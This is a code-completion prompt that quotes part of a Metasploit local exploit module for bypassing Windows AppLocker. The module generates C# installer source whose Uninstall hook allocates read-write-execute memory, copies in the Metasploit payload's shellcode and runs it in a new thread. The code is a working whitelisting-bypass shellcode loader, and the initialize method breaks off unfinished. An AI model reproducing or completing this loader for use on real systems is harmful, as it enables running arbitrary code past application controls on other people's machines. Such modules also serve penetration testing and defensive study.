You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: applocker_bypass.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/local
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Post::File

  def initialize(info = {})
    super
    
  def generate_csharp_source
    sc = payload.encoded.each_byte.map { |b| "0x#{b.to_s(16)}" }.join(',')
    cs = %Q^
using System;

namespace Pop
{
  public class Program { public static void Main() { } }

  [System.ComponentModel.RunInstaller(true)]
  public class Pop : System.Configuration.Install.Installer
  {
    private static Int32 MEM_COMMIT=0x1000;
    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
    private static UInt32 INFINITE = 0xFFFFFFFF;

    [System.Runtime.InteropServices.DllImport("kernel32")]
    private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);

    [System.Runtime.InteropServices.DllImport("kernel32")]
    private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id);

    [System.Runtime.InteropServices.DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);

    public override void Uninstall(System.Collections.IDictionary s)
    {
      byte[] sc = new byte[] {#{sc}};
      IntPtr m = VirtualAlloc(IntPtr.Zero, (UIntPtr)sc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      System.Runtime.InteropServices.Marshal.Copy(sc, 0, m, sc.Length);
      IntPtr id = IntPtr.Zero;
      WaitForSingleObject(CreateThread(id, UIntPtr.Zero, m, id, 0, ref id), INFINITE);
    }
  }
}
    ^

    cs
  end